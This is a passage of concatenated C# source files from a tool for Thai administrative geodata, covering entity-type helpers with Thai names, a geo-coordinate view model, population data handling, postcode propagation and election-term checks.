var changwat = flatList.Where(x => x.type.IsCompatibleEntityType(EntityType.Changwat)).ToList();
var builder = new StringBuilder();
foreach ( var entity in localGovernments )
{
var tambonCode = entity.office.First().areacoverage.First().geocode;
var amphoeCode = tambonCode / 100;
var changwatCode = amphoeCode / 100;
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0},{1},{3},{2}", entity.geocode, entity.name, entity.type, amphoe.First(x => x.geocode == amphoeCode).name, changwat.First(x => x.geocode == changwatCode).name);
builder.AppendLine();
}
Clipboard.Clear();
Clipboard.SetText(builder.ToString());
}
private void btnYearbookCompare_Click(Object sender, EventArgs e)
{
var dialog = new OpenFileDialog
{
InitialDirectory = Path.Combine(GlobalData.BaseXMLDirectory, "EntityLists"),
Multiselect = true
};
dialog.ShowDialog();
if ( dialog.FileNames.Count() == 2 )
{
var builder = new StringBuilder();
List<EntityType> entityTypes = new List<EntityType>() { EntityType.Amphoe, EntityType.KingAmphoe, EntityType.Tambon, EntityType.Muban, EntityType.Thesaban, EntityType.TAO, EntityType.Sukhaphiban };
Entity dataOne = null;
using ( var fileStream = new FileStream(dialog.FileNames.First(), FileMode.Open, FileAccess.Read) )
{
dataOne = XmlManager.XmlToEntity<Entity>(fileStream, new XmlSerializer(typeof(Entity)));
}
Entity dataTwo = null;
using ( var fileStream = new FileStream(dialog.FileNames.Last(), FileMode.Open, FileAccess.Read) )
{
dataTwo = XmlManager.XmlToEntity<Entity>(fileStream, new XmlSerializer(typeof(Entity)));
}
var dataTwoFlat = dataTwo.FlatList();
foreach ( var entity in dataOne.FlatList() )
{
var compare = dataTwoFlat.FirstOrDefault(x => x.geocode == entity.geocode);
if ( compare != null )
{
builder.AppendFormat("{0},{1}", entity.english, entity.geocode);
foreach ( var entityType in entityTypes )
{
Int32 value = 0;
var oldItem = entity.entitycount.First().entry.FirstOrDefault(x => x.type == entityType);
if ( oldItem != null )
{
value -= Convert.ToInt32(oldItem.count);
}
var newItem = compare.entitycount.First().entry.FirstOrDefault(x => x.type == entityType);
if ( newItem != null )
{
value += Convert.ToInt32(newItem.count);
}
builder.AppendFormat(",{0}", value);
}
builder.AppendLine();
}
}
Clipboard.Clear();
Clipboard.SetText(builder.ToString());
var form = new StringDisplayForm("Yearbook compare", builder.ToString());
form.Show();
}
}
private void btnConstituency_Click(object sender, EventArgs e)
{
var form = new ConstituencyForm();
form.Show();
}
private void btn_PopulationAllProvinces_Click(object sender, EventArgs e)
{
var downloader = new PopulationDataDownloader(Convert.ToInt32(edtYear.Value), 0);
downloader.Process();
var output = XmlManager.EntityToXml<Entity>(downloader.Data);
File.WriteAllText(Path.Combine(PopulationDataDownloader.OutputDirectory, edtYear.Value.ToString() + ".xml"), output);
}
}
}<file_sep>/GeoTool/ViewModel/GeoDataViewModel.cs
using System;
using System.Collections.Generic;
using System.Linq;
using De.AHoerstemeier.Geo;
using De.AHoerstemeier.Tambon;
using De.AHoerstemeier.GeoTool.Model;
using GalaSoft.MvvmLight;
using Microsoft.Maps.MapControl.WPF;
using Microsoft.Maps.MapControl.WPF.Core;
using System.Collections.ObjectModel;
using System.Windows.Input;
using GalaSoft.MvvmLight.Command;
namespace De.AHoerstemeier.GeoTool.ViewModel
{
/// <summary>
/// This class contains properties that a View can data bind to.
/// <para>
/// Use the <strong>mvvminpc</strong> snippet to add bindable properties to this ViewModel.
/// </para>
/// <para>
/// You can also use Blend to data bind with the tool's support.
/// </para>
/// <para>
/// See http://www.galasoft.ch/mvvm/getstarted
/// </para>
/// </summary>
[System.Runtime.InteropServices.GuidAttribute("B10CB298-EC04-44BD-84A2-A1087FF95AF4")]
public class GeoDataViewModel : ViewModelBase
{
/// <summary>
/// Initializes a new instance of the GeoDataViewModel class.
/// </summary>
public GeoDataViewModel(GeoDataModel model)
{
////if (IsInDesignMode)
////{
//// // Code runs in Blend --> create design time data.
////}
////else
////{
//// // Code runs "for real": Connect to service, etc...
////}
Model = model;
Model.PropertyChanged += (s, e) =>
{
if ( e.PropertyName == GeoDataModel.DatumPropertyName )
{
RaisePropertyChanged(CurrentGeoDatumPropertyName);
}
if ( e.PropertyName == GeoDataModel.LocationPropertyName )
{
RaisePropertyChanged(GeoHashPropertyName);
RaisePropertyChanged(GeoLocationPropertyName);
RaisePropertyChanged(UtmLocationPropertyName);
RaisePropertyChanged(MgrsLocationPropertyName);
RaisePropertyChanged(L7018FramePropertyName);
}
GeoPoint point = new GeoPoint(Model.Location);
point.Datum = Model.Datum;
RaisePropertyChanged(GeoPointPropertyName, _oldLocation, point, true);
_oldLocation = point;
};
GeoDatums = new ObservableCollection<GeoDatum>();
GeoDatums.Add(GeoDatum.DatumWGS84());
GeoDatums.Add(GeoDatum.DatumIndian1975());
GeoDatums.Add(GeoDatum.DatumIndian1954());
L7018Index = new ObservableCollection<RtsdMapFrame>();
RtsdMapIndex.CalcIndexList();
foreach (var entry in RtsdMapIndex.MapIndexL7018.OrderBy(x => x.Name))
{
L7018Index.Add(entry);
}
_oldLocation = new GeoPoint(Model.Location);
_oldLocation.Datum = Model.Datum;
}
private GeoPoint _oldLocation = null;
public static String GeoPointPropertyName = "GeoPoint";
public GeoDataModel Model
{
get;
private set;
}
/// <summary>
/// The <see cref="GeoDatums" /> property's name.
/// </summary>
public const string GeoDatumsPropertyName = "GeoDatums";
private ObservableCollection<GeoDatum> _GeoDatums = null;
/// <summary>
/// Gets the GeoDatums property.
/// Changes to that property's value raise the PropertyChanged event.
/// This property's value is broadcasted by the Messenger's default instance when it changes.
/// </summary>
public ObservableCollection<GeoDatum> GeoDatums
{
get
{
return _GeoDatums;
}
set
{
if ( _GeoDatums == value )
{
return;
}
var oldValue = _GeoDatums;
_GeoDatums = value;
// Update bindings, no broadcast
RaisePropertyChanged(GeoDatumsPropertyName);
}
}
public const String CurrentGeoDatumPropertyName = "CurrentGeoDatum";
public GeoDatum CurrentGeoDatum
{
get { return Model.Datum; }
set
{
if ( Model.Datum == value )
{
return;
}
Model.Datum = value;
}
}
public const String GeoHashPropertyName = "GeoHash";
public String GeoHash
{
get { return Model.Location.GeoHash; }
set { Model.SetGeoHash(value); }
}
public const String GeoLocationPropertyName = "GeoLocation";
public String GeoLocation
{
get { return Model.Location.ToString(); }
set { Model.SetGeoLocation(value); }
}
public const String UtmLocationPropertyName = "UtmLocation";
public String UtmLocation
{
get { return Model.UtmLocation.ToString(); }
set { Model.SetUtmLocation(value); }
}
public const String MgrsLocationPropertyName = "MgrsLocation";
public String MgrsLocation
{
get { return Model.UtmLocation.ToMgrsString(6); }
set { Model.SetMgrsLocation(value); }
}
public const String L7018IndexPropertyName = "L7018Index";
private ObservableCollection<RtsdMapFrame> _L7018Index = null;
public ObservableCollection<RtsdMapFrame> L7018Index
{
get
{
return _L7018Index;
}
set
{
if (_L7018Index == value)
{
return;
}
var oldL7018Index = _L7018Index;
_L7018Index = value;
// Update bindings, no broadcast
RaisePropertyChanged(L7018IndexPropertyName);
}
}
public const String L7018FramePropertyName = "L7018Frame";
public RtsdMapFrame L7018Frame
{
get { return Model.L7018Frame; }
set
{
if (Model.L7018Frame == value)
{
return;
}
Model.L7018Frame = value;
}
}
}
}<file_sep>/TambonMain/HouseHoldDataPoint.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public partial class HouseholdDataPoint
{
#region fixup serialization
public bool ShouldSerializeagetable()
{
return agetable.age.Any();
}
public Boolean ShouldSerializeforeigner()
{
return (foreigner.total != 0);
}
public Boolean ShouldSerializehouseregister()
{
return (houseregister.total != 0);
}
public Boolean ShouldSerializemoving()
{
return (moving.total != 0);
}
public Boolean ShouldSerializegeocode()
{
return (geocode.Any());
}
#endregion fixup serialization
/// <summary>
/// Creates a new <see cref="HouseholdDataPoint"/> containing all values from <paramref name="dataPoint"/>.
/// </summary>
/// <param name="dataPoint">Data to copy.</param>
public HouseholdDataPoint(HouseholdDataPoint dataPoint)
{
if ( dataPoint == null )
{
throw new ArgumentNullException("dataPoint");
}
this.male = dataPoint.male;
this.female = dataPoint.female;
this.households = dataPoint.households;
this.total = dataPoint.total;
this.geocode = dataPoint.geocode;
this.type = dataPoint.type;
}
}
}<file_sep>/AHTambon/EntityTypeHelper.cs
using System;
using System.Collections.Generic;
using System.Text;
using System.Xml;
using System.Xml.Linq;
using System.Linq;
using System.IO;
using System.Globalization;
namespace De.AHoerstemeier.Tambon
{
public class EntityTypeHelper
{
public static Dictionary<EntityType, String> EntityNames = new Dictionary<EntityType, String>()
{
{EntityType.Changwat, "จังหวัด"},
{EntityType.Amphoe, "อำเภอ" },
{EntityType.Tambon, "ตำบล"},
{EntityType.Thesaban, "เทศบาล"},
{EntityType.ThesabanNakhon, "เทศบาลนคร"},
{EntityType.ThesabanMueang, "เทศบาลเมือง"},
{EntityType.ThesabanTambon, "เทศบาลตำบล"},
{EntityType.Mueang, "เมือง"},
{EntityType.SakhaTambon, "สาขาตำบล"},
{EntityType.SakhaKhwaeng, "สาขาแขวง"},
{EntityType.Sakha, "สาขา"},
{EntityType.KingAmphoe, "กิ่งอำเภอ"},
{EntityType.Khet, "เขต"},
{EntityType.Khwaeng, "แขวง"},
{EntityType.Bangkok, "กรุงเทพมหานคร"},
{EntityType.Monthon, "มณฑล"},
{EntityType.Sukhaphiban, "สุขาภิบาล"},
{EntityType.SukhaphibanTambon, "สุขาภิบาลตำบล"},
{EntityType.SukhaphibanMueang, "สุขาภิบาลเมือง"},
{EntityType.Chumchon, "ชุมชน"},
{EntityType.TAO, "องค์การบริหารส่วนตำบล"},
{EntityType.SaphaTambon, "สภาตำบล"},
{EntityType.Phak, "ภาค"},
{EntityType.KlumChangwat, "กลุ่มจังหวัด"},
{EntityType.Constituency, "เขตเลือกตั้ง"}
};
private static List<EntityType> mEntityThesaban = new List<EntityType>()
{
EntityType.Thesaban,
EntityType.ThesabanNakhon,
EntityType.ThesabanMueang,
EntityType.ThesabanTambon,
EntityType.Mueang,
EntityType.Sukhaphiban,
EntityType.TAO
};
static public List<EntityType> Thesaban
{
get { return mEntityThesaban; }
}
private static List<EntityType> mCentralAdministration = new List<EntityType>()
{
EntityType.Changwat,
EntityType.Amphoe,
EntityType.KingAmphoe,
EntityType.Bangkok,
EntityType.Tambon,
EntityType.Khet,
EntityType.Khwaeng,
EntityType.Muban
};
static public List<EntityType> CentralAdministration
{
get { return mCentralAdministration; }
}
static private List<EntityType> CreateAllEntityLevels()
{
var retval = new List<EntityType>();
foreach ( EntityType i in System.Enum.GetValues(typeof(EntityType)) )
{
retval.Add(i);
}
return retval;
}
private static List<EntityType> mAllEntityTypes = null;
static public List<EntityType> AllEntityTypes
{
get
{
if ( mAllEntityTypes == null )
{
mAllEntityTypes = CreateAllEntityLevels();
}
return mAllEntityTypes;
}
}
private static List<EntityType> mEntitySakha = new List<EntityType>()
{
EntityType.Sakha,
EntityType.SakhaTambon,
EntityType.SakhaKhwaeng
};
static public List<EntityType> Sakha
{
get { return mEntitySakha; }
}
private static List<EntityType> mEntitySecondLevel = null;
static public List<EntityType> SecondLevelEntity
{
get
{
if ( mEntitySecondLevel == null )
{
mEntitySecondLevel = CreateEntitySecondLevel();
}
return mEntitySecondLevel;
}
}
static private List<EntityType> CreateEntitySecondLevel()
{
var retval = new List<EntityType>()
{
EntityType.Amphoe,
EntityType.KingAmphoe,
EntityType.Khet
};
retval.AddRange(Sakha);
retval.AddRange(Thesaban);
return retval;
}
public static EntityType ParseEntityType(string iValue)
{
EntityType retval = EntityType.Unknown;
if ( !String.IsNullOrEmpty(iValue) )
{
foreach ( KeyValuePair<EntityType, string> lKeyValuePair in EntityNames )
{
if ( iValue.StartsWith(lKeyValuePair.Value) )
{
if ( retval == EntityType.Unknown )
{
retval = lKeyValuePair.Key;
}
// special case - Sakha and SakhaTambon might make problems otherwise
else if ( lKeyValuePair.Value.Length > EntityNames[retval].Length )
{
retval = lKeyValuePair.Key;
}
}
}
}
if ( retval == EntityType.Unknown )
{
retval = EntityType.Unknown;
}
return retval;
}
public static Boolean IsCompatibleEntityType(EntityType iValue1, EntityType iValue2)
{
Boolean retval = false;
switch ( iValue1 )
{
case EntityType.Bangkok:
case EntityType.Changwat:
retval = (iValue2 == EntityType.Changwat) | (iValue2 == EntityType.Bangkok);
break;
case EntityType.KingAmphoe:
case EntityType.Khet:
case EntityType.Sakha:
case EntityType.Amphoe:
retval = (iValue2 == EntityType.Amphoe) | (iValue2 == EntityType.KingAmphoe) | (iValue2 == EntityType.Khet) | (iValue2 == EntityType.Sakha);
break;
case EntityType.Khwaeng:
case EntityType.Tambon:
retval = (iValue2 == EntityType.Khwaeng) | (iValue2 == EntityType.Tambon);
break;
case EntityType.Thesaban:
case EntityType.ThesabanNakhon:
case EntityType.ThesabanMueang:
case EntityType.ThesabanTambon:
retval = (iValue2 == EntityType.ThesabanMueang) | (iValue2 == EntityType.ThesabanNakhon) | (iValue2 == EntityType.ThesabanTambon) | (iValue2 == EntityType.Thesaban);
break;
default:
retval = (iValue1 == iValue2);
break;
}
return retval;
}
}
}<file_sep>/TambonMain/VisionSlogan.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public partial class VisionSlogan
{
/// <summary>
/// Gets the <see cref="Value"/> as a single lined string.
/// </summary>
/// <value>The value as a single lined string.</value>
public String SingleLineValue
{
get
{
var multiLineSlogan = Value.Split(new[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries).Select(x => x.Trim());
return String.Join(" ", multiLineSlogan).Trim();
}
}
}
}<file_sep>/TambonMain/Entity.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace De.AHoerstemeier.Tambon
{
public partial class Entity
{
#region fixup serialization
/// <summary>
/// Checks whether <see cref="history"/> needs to be serialized.
/// </summary>
/// <returns><c>true</c> if history needs to be serialized, <c>false</c> otherwise.</returns>
public Boolean ShouldSerializehistory()
{
return history.Items.Any();
}
/// <summary>
/// Checks whether <see cref="area"/> needs to be serialized.
/// </summary>
/// <returns><c>true</c> if area needs to be serialized, <c>false</c> otherwise.</returns>
public Boolean ShouldSerializearea()
{
return area.area.Any() || area.bounding.Any();
}
/// <summary>
/// Checks whether <see cref="newgeocode"/> needs to be serialized.
/// </summary>
/// <returns><c>true</c> if new geocode list needs to be serialized, <c>false</c> otherwise.</returns>
public Boolean ShouldSerializenewgeocode()
{
return newgeocode.Any();
}
/// <summary>
/// Checks whether <see cref="parent"/> needs to be serialized.
/// </summary>
/// <returns><c>true</c> if parent list needs to be serialized, <c>false</c> otherwise.</returns>
public Boolean ShouldSerializeparent()
{
return parent.Any();
}
/// <summary>
/// Checks whether <see cref="entitycount"/> needs to be serialized.
/// </summary>
/// <returns><c>true</c> if entity count needs to be serialized, <c>false</c> otherwise.</returns>
public Boolean ShouldSerializeentitycount()
{
return entitycount.Any();
}
/// <summary>
/// Checks whether <see cref="codes"/> needs to be serialized.
/// </summary>
/// <returns><c>true</c> if codes needs to be serialized, <c>false</c> otherwise.</returns>
public Boolean ShouldSerializecodes()
{
return !codes.IsEmpty();
}
/// <summary>
/// Checks whether <see cref="symbols"/> needs to be serialized.
/// </summary>
/// <returns><c>true</c> if symbols needs to be serialized, <c>false</c> otherwise.</returns>
public Boolean ShouldSerializesymbols()
{
return !symbols.IsEmpty();
}
/// <summary>
/// Checks whether <see cref="muban"/> needs to be serialized.
/// </summary>
/// <returns><c>true</c> if muban needs to be serialized, <c>false</c> otherwise.</returns>
public Boolean ShouldSerializemuban()
{
return (muban != null) && muban.Any();
}
#endregion fixup serialization
/// <summary>
/// Creates a new instance copying all the contents.
/// </summary>
/// <returns>New copied instance.</returns>
public Entity Clone()
{
// Don't I need a deep value copy?
var newEntity = (Entity)(this.MemberwiseClone());
newEntity.entity = new List<Entity>();
foreach (var subEntity in this.entity)
{
newEntity.entity.Add(subEntity.Clone());
}
return newEntity;
}
/// <summary>
/// List of municipalities within the entity. Only used for <see cref="EntityType.Changwat"/>.
/// </summary>
private readonly ICollection<Entity> _thesaban = new List<Entity>();
/// <summary>
/// List of previous geocodes. <c>null</c> if not yet calculated.
/// </summary>
private List<UInt32> _oldGeocode = null;
/// <summary>
/// Gets whether the entity at the given geocode is active/valid.
/// </summary>
/// <value><c>true</c> if entity is obsolete, <c>false</c> if it is valid.</value>
public Boolean IsObsolete
{
get
{
return obsolete | newgeocode.Any();
}
}
/// <summary>
/// Gets the municipalities.
/// </summary>
/// <value>The municipalities.</value>
public IEnumerable<Entity> Thesaban
{
get
{
return _thesaban;
}
}
public void ReorderThesaban()
{
foreach (var subEntity in entity)
{
if (subEntity != null)
{
if (subEntity.type.IsLocalGovernment() | subEntity.type.IsSakha())
{
_thesaban.Add(subEntity);
}
}
}
foreach (var thesaban in _thesaban)
{
entity.Remove(thesaban);
}
// set the population data type of the non-municipal items
PopulationDataType nonThesabanType = PopulationDataType.total;
if (_thesaban.Any())
{
nonThesabanType = PopulationDataType.nonmunicipal;
}
foreach (var amphoe in entity)
{
foreach (var entry in amphoe.FlatList())
{
if (entry.population.Any())
{
var data = entry.population.First().data.FirstOrDefault();
if (data != null)
{
data.type = nonThesabanType;
}
}
}
}
foreach (var thesaban in _thesaban)
{
if (thesaban.entity.Any())
{
foreach (var tambon in thesaban.entity)
{
var data = tambon.population.First().data.First();
data.type = PopulationDataType.municipal;
data.geocode.Add(thesaban.geocode);
AddTambonInThesabanToAmphoe(tambon, thesaban);
}
}
}
foreach (var subEntity in entity)
{
if (subEntity != null)
{
subEntity.entity.Sort((x, y) => x.geocode.CompareTo(y.geocode));
}
}
}
internal void AddTambonInThesabanToAmphoe(Entity tambon, Entity thesaban)
{
var allSubEntities = entity.SelectMany(x => x.entity).ToList();
var mainTambon = allSubEntities.SingleOrDefault(x => (GeocodeHelper.IsSameGeocode(x.geocode, tambon.geocode, false)) & (x.type == tambon.type));
var mainAmphoe = entity.FirstOrDefault(x => (x.geocode == tambon.geocode / 100));
if (mainTambon == null)
{
if (mainAmphoe != null)
{
mainTambon = XmlManager.MakeClone<Entity>(tambon);
mainAmphoe.entity.Add(mainTambon);
}
}
else
{
if (mainTambon.population.Any())
{
mainTambon.population.First().data.AddRange(tambon.population.First().data);
}
else
{
mainTambon.population.Add(tambon.population.First());
}
}
if (mainAmphoe != null)
{
var population = tambon.population.First();
foreach (var dataPoint in population.data)
{
var amphoePopulation = mainAmphoe.population.FirstOrDefault();
if (amphoePopulation == null)
{
amphoePopulation = new PopulationData
{
referencedate = population.referencedate,
referencedateSpecified = population.referencedateSpecified,
source = population.source,
year = population.year
};
mainAmphoe.population.Add(amphoePopulation);
}
amphoePopulation.AddDataPoint(dataPoint);
}
}
}
/// <summary>
/// Calculates the population data by summing up the data of the sub-entities.
/// </summary>
/// <param name="year">Year of data.</param>
/// <param name="dataSource">Data source.</param>
public void CalculatePopulationFromSubEntities(Int32 year, PopulationDataSourceType dataSource)
{
foreach (var subEntity in entity)
{
foreach (var dataPoint in subEntity.population.First(x => x.Year == year && x.source == dataSource).data)
{
this.population.First(x => x.Year == year && x.source == dataSource).AddDataPoint(dataPoint);
}
}
}
internal void ParseName(String value)
{
if (!String.IsNullOrEmpty(value))
{
foreach (var abbreviation in ThaiTranslations.EntityAbbreviations)
{
value = value.Replace(abbreviation.Value + ".", ThaiTranslations.EntityNamesThai[abbreviation.Key]); // especially the ThesabanTambon occurs sometimes
}
EntityType entityType = EntityType.Unknown;
foreach (var entityTypeName in ThaiTranslations.EntityNamesThai)
{
if (value.StartsWith(entityTypeName.Value))
{
entityType = entityTypeName.Key;
}
}
if (value.StartsWith("หมู่ที่"))
{
entityType = EntityType.Muban;
name = value.Split(' ').ElementAtOrDefault(2);
}
else if ((entityType == EntityType.Unknown) | (entityType == EntityType.Bangkok))
{
name = value;
}
else
{
name = value.Replace(ThaiTranslations.EntityNamesThai[entityType], "");
}
if (entityType.IsSakha())
{
// Some pages have the syntax "Name AmphoeName" with the word อำเภอ, others without
//Int32 pos = Name.IndexOf(Helper.EntityNames[EntityType.Amphoe]);
//if (pos > 0)
//{
// mName = mName.Remove(pos - 1);
//}
Int32 pos = name.IndexOf(" ");
if (pos > 0)
{
name = name.Remove(pos);
}
}
obsolete = name.Contains("*");
name = name.Replace("*", "");
if (name.StartsWith("."))
{
// Mistake in DOPA population statistic for Buriram 2005, a leading "."
name = name.Substring(1, name.Length - 1);
}
name = name.Trim();
type = entityType;
}
}
/// <summary>
/// Gets the sub-entities where the geocode does not fit.
/// </summary>
/// <returns>Sub-entities where the geocode does not fit.</returns>
public IEnumerable<Entity> InvalidGeocodeEntries()
{
var result = new List<Entity>();
foreach (var subEntity in entity)
{
if (!GeocodeHelper.IsBaseGeocode(this.geocode, subEntity.geocode))
{
result.Add(subEntity);
}
Int32 entitiesWithSameCode = 0;
foreach (var subEntityForCount in entity)
{
if (subEntityForCount.geocode == subEntity.geocode)
{
entitiesWithSameCode++;
}
}
if (entitiesWithSameCode > 1)
{
result.Add(subEntity);
}
result.AddRange(subEntity.InvalidGeocodeEntries());
}
return result;
}
/// <summary>
/// Copies the basic data from <paramref name="source"/> to self.
/// </summary>
/// <param name="source">Source entity.</param>
/// <exception cref="ArgumentNullException"><paramref name="source"/> is <c>null</c>.</exception>
/// <remarks>Copies <see cref="geocode"/>, <see cref="english"/>, <see cref="name"/>, <see cref="type"/> and <see cref="parent"/>.</remarks>
public void CopyBasicDataFrom(Entity source)
{
if (source == null)
{
throw new ArgumentNullException("source");
}
geocode = source.geocode;
english = source.english;
name = source.name;
type = source.type;
parent.AddRange(source.parent);
}
/// <summary>
/// Gets a list of previous names.
/// </summary>
/// <value>List of previous names.</value>
internal IEnumerable<String> OldNames
{
get
{
var result = new List<String>();
foreach (var item in history.Items)
{
if (item is HistoryRename itemRename)
{
result.Add(itemRename.oldname);
}
}
return result;
}
}
/// <summary>
/// Gets the population data of the given type and year.
/// </summary>
/// <param name="source">Data source type.</param>
/// <param name="year">Reference year.</param>
/// <returns>Population data, or <c>null</c> if none found.</returns>
public PopulationDataPoint GetPopulationDataPoint(PopulationDataSourceType source, Int16 year)
{
var data = this.population.FirstOrDefault(x => (x.Year == year) && (x.source == source));
if (data != null)
{
return data.TotalPopulation;
}
else
{
return null;
}
}
private Boolean SameNameAndType(String findName, EntityType findType)
{
return (name == findName) & (type.IsCompatibleEntityType(findType));
}
private Entity FindByNameAndType(String findName, EntityType findType, Boolean allowOldNames)
{
var result = FindByNameAndType(findName, findType, allowOldNames, false, 0);
if (result == null)
{
result = FindByNameAndType(findName, findType, allowOldNames, true, 0);
}
return result;
}
private Entity FindByNameAndType(String findName, EntityType findType, Boolean allowOldNames, Boolean allowObsolete, Int32 startPosition)
{
Entity retval = null;
this.entity.Sort((x, y) => x.geocode.CompareTo(y.geocode));
foreach (var subEntity in entity)
{
if (subEntity.SameNameAndType(findName, findType))
{
if ((!subEntity.obsolete) | allowObsolete)
{
startPosition--;
if (startPosition < 0)
{
retval = subEntity;
break;
}
}
}
if (allowOldNames & (subEntity.OldNames.Contains(findName)) & (subEntity.type.IsCompatibleEntityType(findType)))
{
if ((!subEntity.obsolete) | allowObsolete)
{
startPosition--;
if (startPosition < 0)
{
retval = subEntity;
break;
}
}
}
}
return retval;
}
internal void SynchronizeGeocodes(Entity geocodeSource)
{
var missedEntities = new List<Entity>();
if (geocodeSource != null)
{
var sourceFlat = geocodeSource.FlatList();
foreach (var entity in this.FlatList())
{
var source = sourceFlat.FirstOrDefault(x => GeocodeHelper.IsSameGeocode(x.geocode, entity.geocode, false));
if (source == null)
{
missedEntities.Add(entity);
}
else
{
entity.CopyBasicDataFrom(source);
}
}
}
}
internal void ConsolidatePopulationData()
{
foreach (var data in population)
{
data.MergeIdenticalEntries();
}
}
/// <summary>
/// Propagate the post code to the entities within the entity.
/// </summary>
public void PropagatePostcode()
{
// only propagate if exactly one postcode
if ((codes != null) && (codes.post != null) && (codes.post.value.Count == 1))
{
var postCode = codes.post.value.Single();
if (postCode > 100) // don't propagate the province post codes!
{
foreach (var subentity in entity)
{
subentity.codes.post.value.Add(postCode);
}
}
}
}
/// <summary>
/// Propagate the post code to the entities within the entity, and doing the same for every sub entity.
/// </summary>
public void PropagatePostcodeRecursive()
{
PropagatePostcode();
foreach (var subentity in entity)
{
subentity.PropagatePostcodeRecursive();
}
}
/// <summary>
/// Sets <see cref="obsolete"/> to all sub-entities if the parent entity is obsolete.
/// </summary>
public void PropagateObsoleteToSubEntities()
{
foreach (var item in entity.Where(x => x.IsObsolete && x.entity.Any()))
{
foreach (var subItem in item.FlatList())
{
subItem.obsolete = true;
}
}
foreach (var item in entity.Where(x => !x.IsObsolete))
{
item.PropagateObsoleteToSubEntities();
}
}
/// <summary>
/// Calculates the postal codes from the tambon in the area coverage list of the LAO office.
/// </summary>
/// <param name="tambon">List of tambon in the parent of the LAO.</param>
public void CalculatePostcodeForLocalAdministration(IEnumerable<Entity> tambon)
{
var laoOffice = office.FirstOrDefault(x => x.areacoverage.Any());
// var fullCoveredPostCodes = new List<UInt32>();
if (!this.codes.post.value.Any() && laoOffice != null)
{
// fullCoveredPostCodes.Clear();
foreach (var coverage in laoOffice.areacoverage)
{
var foundTambon = tambon.FirstOrDefault(x => x.geocode == coverage.geocode);
if (foundTambon != null)
{
this.codes.post.value.AddRange(foundTambon.codes.post.value);
if (coverage.coverage == CoverageType.completely || foundTambon.codes.post.value.Count == 1)
{
this.codes.post.comment = "Postcodes might contain too many values.";
// fullCoveredPostCodes.AddRange(foundTambon.codes.post.value);
}
}
}
this.codes.post.value = this.codes.post.value.Distinct().ToList();
// if ( this.codes.post.value.Where(x => !fullCoveredPostCodes.Contains(x)).Any() )
// {
// this.codes.post.comment = "Postcodes might contain too many values.";
// }
}
}
/// <summary>
/// Gets the display name of the entity.
/// </summary>
/// <returns>The display name of the entity.</returns>
/// <remarks>Always returns <see cref="Entity.english"/>.</remarks>
public override String ToString()
{
return english;
}
/// <summary>
/// Places all sub-entities into one flat list.
/// </summary>
/// <returns>All sub-entities.</returns>
public IEnumerable<Entity> FlatList()
{
var result = new List<Entity>
{
this
};
foreach (var subEntity in entity)
{
result.AddRange(subEntity.FlatList());
}
return result;
}
private readonly IEnumerable<OfficeType> _officesWithElectedOfficials = new List<OfficeType>() { OfficeType.MunicipalityOffice, OfficeType.PAOOffice, OfficeType.TAOOffice };
private IEnumerable<EntityTermEnd> OfficialElectionsPending(Boolean includeVacant)
{
var result = new List<EntityTermEnd>();
foreach (var officeEntry in office)
{
if ((!officeEntry.obsolete) && _officesWithElectedOfficials.Contains(officeEntry.type))
{
var term = officeEntry.officials.OfficialTermsOrVacancies.FirstOrDefault();
if (term != null)
{
DateTime termEnd;
if (term is OfficialVacancy vacancy)
{
if (includeVacant)
{
if (vacancy.endSpecified && vacancy.end.CompareTo(DateTime.Now) <= 0)
{
result.Add(new EntityTermEnd(this, null, new OfficialEntryUnnamed() { end = vacancy.end, endSpecified = true }));
}
else
{
result.Add(new EntityTermEnd(this, null, new OfficialEntryUnnamed()));
}
}
}
else
{
var officialTerm = term as OfficialEntryBase;
if (term.endSpecified)
{
termEnd = term.end;
}
else if (officialTerm.beginreason == OfficialBeginType.TermExtended)
{
termEnd = DateTime.Now.AddYears(50);
}
else
{
termEnd = term.begin.AddYears(4).AddDays(-1);
}
if ((termEnd.CompareTo(DateTime.Now) <= 0))
{
result.Add(new EntityTermEnd(this, null, officialTerm));
}
}
}
else
{
// no Official list at all, but there should be one...
result.Add(new EntityTermEnd(this, null, new OfficialEntryUnnamed()));
}
}
}
return result;
}
private IEnumerable<EntityTermEnd> OfficialVacant()
{
var result = new List<EntityTermEnd>();
foreach (var officeEntry in office)
{
if ((!officeEntry.obsolete) && _officesWithElectedOfficials.Contains(officeEntry.type))
{
var vacancy = officeEntry.officials.OfficialTermsOrVacancies.FirstOrDefault();
if ( vacancy is OfficialVacancy)
{
if (vacancy.endSpecified && vacancy.end.CompareTo(DateTime.Now) <= 0)
{
result.Add(new EntityTermEnd(this, null, new OfficialEntryUnnamed() { end = vacancy.end, endSpecified = true }));
}
else
{
result.Add(new EntityTermEnd(this, null, new OfficialEntryUnnamed()));
}
}
}
}
return result;
}
private IEnumerable<EntityTermEnd> LatestOfficialElectionResultUnknown()
{
var result = new List<EntityTermEnd>();
foreach (var officeEntry in office)
{
if ((!officeEntry.obsolete) && _officesWithElectedOfficials.Contains(officeEntry.type))
{
officeEntry.officials.SortByDate();
var term = officeEntry.officials.OfficialTerms.FirstOrDefault();
if (term != null)
{
var name = String.Empty;
if (term is OfficialEntry officialTerm)
{
name = officialTerm.name;
}
if (String.IsNullOrWhiteSpace(name))
{
result.Add(new EntityTermEnd(this, null, term));
}
}
}
}
return result;
}
private IEnumerable<EntityTermEnd> CouncilElectionsPending()
{
var result = new List<EntityTermEnd>();
foreach (var officeEntry in office)
{
if (!officeEntry.obsolete)
{
officeEntry.council.SortByDate();
var term = officeEntry.council.CouncilTerms.FirstOrDefault();
if (term != null)
// foreach ( var term in office.council )
{
DateTime termEnd;
if (term.endSpecified)
{
termEnd = term.end;
}
else if (term.beginreason == TermBeginType.TermExtended)
{
if (term.type == EntityType.TAO)
{
termEnd = new DateTime(2050, 1, 1); // just a dummy future date
}
else
{
termEnd = new DateTime(2021, 3, 27);
}
}
else
{
termEnd = term.begin.AddYears(4).AddDays(-1);
}
if ((termEnd.CompareTo(DateTime.Now) <= 0))
{
result.Add(new EntityTermEnd(this, term, null));
}
}
}
}
return result;
}
private IEnumerable<EntityTermEnd> OfficialTermsEndInTimeSpan(DateTime begin, DateTime end)
{
var result = new List<EntityTermEnd>();
foreach (var officeEntry in office)
{
officeEntry.officials.SortByDate();
